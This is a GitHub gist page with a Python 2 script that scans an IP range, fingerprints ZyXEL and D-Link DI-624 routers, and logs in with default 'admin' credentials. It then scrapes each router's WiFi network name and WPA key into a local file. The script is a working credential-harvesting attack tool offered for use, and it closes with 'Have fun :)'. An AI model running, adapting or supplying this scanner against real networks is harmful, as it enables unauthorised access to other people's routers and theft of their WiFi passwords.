Created
April 23, 2014 19:19
-
-
Save aruseni/11228880 to your computer and use it in GitHub Desktop.
Requirements: BeautifulSoup. progressbar
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import httplib2 | |
import urllib | |
import hashlib | |
import re | |
import itertools | |
from BeautifulSoup import BeautifulSoup | |
import progressbar | |
usage = """ | |
This program allows you to retrieve router credentials by providing | |
an IP address or even a range of IP addresses to scan. | |
Usage | |
===== | |
python get_credentials.py [ip address or ip address range] | |
Examples | |
======== | |
Scanning IP address range: | |
python get_credentials.py 192.168.0.1 192.168.1.254 | |
Scanning one IP address: | |
python get_credentials.py 192.168.0.1 | |
""" | |
def IPRange(start_ip, end_ip): | |
try: | |
start = list(map(int, start_ip.split("."))) | |
end = list(map(int, end_ip.split("."))) | |
except ValueError: | |
print usage | |
exit() | |
for octet_list in (start, end): | |
if len(octet_list) != 4: | |
print "Please type complete IP addresses " \ | |
"in the dot-decimal notation" | |
exit() | |
for octet in octet_list: | |
if octet < 0 or octet > 254: | |
print "Unusable IP address" | |
exit() | |
if octet_list[3] == 0: | |
print "Unusable IP address" | |
exit() | |
for i in range(4): | |
if end[i] > start[i]: | |
break | |
elif end[i] < start[i]: | |
print "Invalid IP address range" | |
exit() | |
temp = start | |
ip_range = [] | |
ip_range.append(start_ip) | |
while temp != end: | |
start[3] += 1 | |
for i in (3, 2, 1, 0): | |
if temp[i] == 255: | |
temp[i] = 1 | |
temp[i-1] += 1 | |
ip_range.append(".".join(map(str, temp))) | |
return ip_range | |
class CredentialsRetriever(): | |
def __init__(self, router_host): | |
self.router_host = router_host | |
def print_credentials(self): | |
self.file = open("wifi_passwords", "a") | |
self.file.write("%s\n" % self.router_host) | |
self.file.write("ESSID: %s\n" % self.credentials["essid"]) | |
self.file.write("Password: %s\n\n" % self.credentials["password"]) | |
self.file.close() | |
class ZyxelCredentialsRetriever(CredentialsRetriever): | |
def get_credentials(self): | |
self.credentials = None | |
h = httplib2.Http() | |
password = "admin" | |
md5_password = hashlib.md5(password).hexdigest() | |
post_data = { | |
"LoginPassword": "ZyXEL ZyWALL Series", | |
"hiddenPassword": md5_password, | |
"Prestige_Login": "Login", | |
} | |
resp, content = h.request( | |
"http://%s/Forms/rpAuth_1" % self.router_host, | |
"POST", | |
urllib.urlencode(post_data) | |
) | |
if resp["content-location"] == \ | |
"http://%s/rpAuth.html" % self.router_host: | |
# authentication failed | |
return | |
resp, content = h.request( | |
"http://%s/WLAN_General.html" % self.router_host | |
) | |
soup = BeautifulSoup(content) | |
try: | |
self.credentials = { | |
"essid": | |
soup.find("input", {"name": "ESSID"})["value"], | |
"password": | |
soup.find("input", {"name": "WLANCfgPSK"})["value"], | |
} | |
except TypeError: | |
pass | |
class DlinkCredentialsRetriever(CredentialsRetriever): | |
def get_credentials(self): | |
self.credentials = None | |
h = httplib2.Http() | |
login = "admin" | |
password = "admin" | |
h.add_credentials(login, password) | |
resp, content = h.request( | |
"http://%s/h_wireless.html" % self.router_host, | |
) | |
if resp["status"] != "200": | |
# authentication failed | |
return | |
soup = BeautifulSoup(content) | |
try: | |
self.credentials = { | |
"essid": | |
soup.find("input", {"name": "ssid"})["value"], | |
"password": | |
soup.find("input", {"name": "wpapsk1"})["value"], | |
} | |
except TypeError: | |
pass | |
# A dictionary representing the credentials retriever classes | |
# that should be used for retrieving credentials for | |
# different router types that are determined by the title | |
# of the page at / or by the basic auth realm. | |
# Each key represents a title string (or a realm string) | |
# and each value represents the corresponding | |
# credentials retriever class. | |
credentials_retriever_classes = { | |
".:: Welcome to the Web-Based Configurator::.": | |
ZyxelCredentialsRetriever, | |
"DI-624": | |
DlinkCredentialsRetriever, | |
} | |
if len(sys.argv) == 3: | |
ip_range = IPRange(sys.argv[1], sys.argv[2]) | |
elif len(sys.argv) == 2: | |
ip_range = [sys.argv[1]] | |
else: | |
print usage | |
exit() | |
retrieved_passwords_count = 0 | |
bar = progressbar.ProgressBar(maxval=len(ip_range), widgets=[ | |
'Scanning IP addresses: ', | |
progressbar.Bar(left='[', marker='=', right='] '), | |
progressbar.SimpleProgress(), | |
]).start() | |
for index, ip in enumerate(ip_range): | |
bar.update(index+1) | |
h = httplib2.Http() | |
try: | |
resp, content = h.request("http://%s/" % ip) | |
except (AttributeError, httplib2.HttpLib2Error): | |
continue | |
if resp.status == 200: | |
soup = BeautifulSoup(content) | |
identification_string = soup.find("title").contents[0] | |
elif resp.status == 401: | |
identification_string = re.match( | |
r"^Basic realm=\"(?P<realm>.*)\"$", | |
resp["www-authenticate"] | |
).group("realm") | |
else: | |
# unable to determine router model | |
continue | |
if not identification_string in credentials_retriever_classes: | |
# unknown router model | |
continue | |
credentials_retriever_class = credentials_retriever_classes[ | |
identification_string | |
] | |
credentials_retriever = credentials_retriever_class(ip) | |
credentials_retriever.get_credentials() | |
if credentials_retriever.credentials: | |
credentials_retriever.print_credentials() | |
retrieved_passwords_count += 1 | |
bar.finish() | |
if retrieved_passwords_count == 0: | |
print "Nothing found" | |
else: | |
if retrieved_passwords_count == 1: | |
password_pluralized = "password" | |
else: | |
password_pluralized = "passwords" | |
print "Man, you have %s %s!" % (retrieved_passwords_count, | |
password_pluralized) | |
print "Have fun :)" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment